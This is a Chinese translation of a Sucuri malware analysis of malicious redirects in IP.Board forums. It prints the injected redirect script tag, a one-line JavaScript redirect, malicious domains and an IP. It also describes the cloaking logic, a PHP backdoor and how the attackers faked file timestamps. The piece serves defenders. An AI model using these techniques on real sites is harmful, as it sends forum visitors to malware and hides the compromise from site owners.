IP.Board CMS惡意重定向分析
IP.Board CMS是一款著名的CMS系統(tǒng),它允許用戶很容易地創(chuàng)建和管理在線社區(qū)。而最近Sucuri的研究員最近發(fā)現(xiàn)了一個(gè)針對(duì)IP.Board的重定向。經(jīng)過分析,研究員們發(fā)現(xiàn)這種攻擊已經(jīng)持續(xù)了2年之久了。
訪客被惡意重定向
重定向的癥狀非常典型,某些通過Google搜索的訪客會(huì)被重定向到一個(gè)惡意網(wǎng)站:filestore321 .com/download .php?id=hexnumber。每位訪客只會(huì)被重定向一次,重定向后再點(diǎn)擊不會(huì)被重定向。
我們捕捉HTTP流量后發(fā)現(xiàn),網(wǎng)頁會(huì)從"hxxp://forum .hackedsite .com/index.php?ipbv=4458734cb50e112ba7dd3a154b22ecd9&g=js"加載腳本,腳本內(nèi)容如下:
document.location='hxxp://filestore321 .com/download .php?id=8-digit-hex-number'
工作原理
那重定向是如何通過IP.Board運(yùn)行的呢?由于我們對(duì)IP.Board還不是像WordPress那樣了解,因此查找來源廢了我們一番功夫。我們參考了2年前Peter Upfold的一篇文章。在這篇文章中,我們找到了重定向的工作原理,并且發(fā)現(xiàn)這個(gè)手法兩年前就出現(xiàn)了,而且沒有重大的改變。
大家并不需要訪問Peter Upfold的文章,我會(huì)在此解釋惡意軟件的工作原理和行為模式。
IP.Board使用的皮膚會(huì)同時(shí)儲(chǔ)存在數(shù)據(jù)庫和硬盤上(以文件形式儲(chǔ)存),如果有緩存的話就會(huì)存儲(chǔ)在./cache/skin_cache/cacheid_n下,n代表皮膚的編號(hào)。我們發(fā)現(xiàn)的受感染的皮膚文件就是./cache/skin_cache/cacheid_4下的skin_global.php文件。
高亮選中的這6行就是我們?cè)谶@個(gè)120kb的皮膚文件找到的惡意代碼。
這三行經(jīng)過加密的代碼中的變量名用到了$rsa、$pka、$pkb,讓人誤認(rèn)為是什么安全密鑰。
我們還原了經(jīng)過混淆的代碼,如下圖所示
首先,它會(huì)檢查訪客來源是否是來自搜索引擎或者是社交網(wǎng)絡(luò)鏈接并且確認(rèn)不是什么爬蟲。如果這是訪客的首次訪問(沒有l(wèi)ang_idcookie),它就會(huì)在網(wǎng)頁中注入一段腳本:
- <script type='text/javascript' src='hxxp://hackedsite .com/index.php?ipbv=<some-hash>&g=js'>
接著,當(dāng)受害者請(qǐng)求這段腳本時(shí),它會(huì)檢查訪客是否加載過腳本,是不是第一次加載,然后將lang_id cookie設(shè)定為10小時(shí),最后返回這段重定向的代碼。
有趣的是,這段代碼不會(huì)將瀏覽器的預(yù)讀請(qǐng)求算作是真實(shí)訪問,并且當(dāng)請(qǐng)求有HTTP_X_MOZ頭時(shí)不會(huì)設(shè)定lang_id cookie。
這段代碼還儲(chǔ)存在IP.Board數(shù)據(jù)庫中的prefix_skin_cache表中。要將文件和數(shù)據(jù)庫中的惡意代碼都清除掉才算消除了隱患。
后門
除了重定向,這個(gè)惡意代碼中還有一個(gè)后門,攻擊者可以通過這個(gè)后門制造POST請(qǐng)求來執(zhí)行PHP代碼。
每個(gè)皮膚文件都有如下的注釋:
/*--------------------------------------------------*/ /* FILE GENERATED BY INVISION POWER BOARD 3 */ /* CACHE FILE: Skin set id: 4 */ /* CACHE FILE: Generated: Fri, 19 Dec 2014 10:28:00 GMT */ /* DO NOT EDIT DIRECTLY - THE CHANGES WILL NOT BE */ /* WRITTEN TO THE DATABASE AUTOMATICALLY */ /*--------------------------------------------------*/
這段注釋表明文件生成的時(shí)間。我所發(fā)現(xiàn)的服務(wù)器中,所有的皮膚緩存文件都生成于2014年12月19日,除了受感染的skin_global.php是生成于2015年1月11日。但是skin_global.php的修改時(shí)間是2014年12月19日,跟其他文件一樣。
我認(rèn)為攻擊者應(yīng)該是IP.Board的標(biāo)準(zhǔn)界面注入了這些惡意代碼(可能是通過盜號(hào)或者是利用了某個(gè)漏洞入侵的)。攻擊者更新了皮膚緩存文件,但是為了防止網(wǎng)站管理員檢查最近修改的文件,攻擊者利用皮膚中的后門偽造了這些感染文件的修改時(shí)間。
域名
這場(chǎng)針對(duì)IP.Board的攻擊已經(jīng)進(jìn)行了起碼兩年了。主要的區(qū)別就是2015使用的域名是filestore321 . com,而2013年時(shí)使用的是url4short . info。
這兩個(gè)域名的IP都是66.199.231.59(Access Integrated Technologies, Inc., USA)。
這個(gè)IP地址上還有些類似的域名,所有的域名都被用作惡意活動(dòng)。
filestore321 .com - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05 url4short .info. - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05 file2store.info - Created on 2010-02-17 - Expires on 2015-02-17 - Updated on 2014-01-03 filestore123.info - Created on 2011-01-07 - Expires on 2016-01-07 - Updated on 2014-10-10 myfilestore.com - Created on 2010-02-03 - Expires on 2016-02-03 - Updated on 2015-01-05 filestore72.info - Created on 2010-10-14 - Expires on 2015-10-14 - Updated on 2014-10-10
其中的某些網(wǎng)站會(huì)重定向到類似下面這個(gè)URL:
hxxp://oognyd96wcqbh6nmzdf0erj .ekabil .com/index .php?g=d3F3eGFnPXhnc2h6dGxzJnRpbWU9MTUwMjA0MTEyODIyNjQ1NTQ4MDcmc3JjPTc2JnN1cmw9dXJsNHNob3J0LmluZm8mc3BvcnQ9ODAma2V5PTJBOTZEMjlEJnN1cmk9L3ByaXZhY3kuaHRtbA==
參考來源:http://blog.sucuri.net/2015/02/analyzing-malicious-redirects-in-the-ip-board-cms.html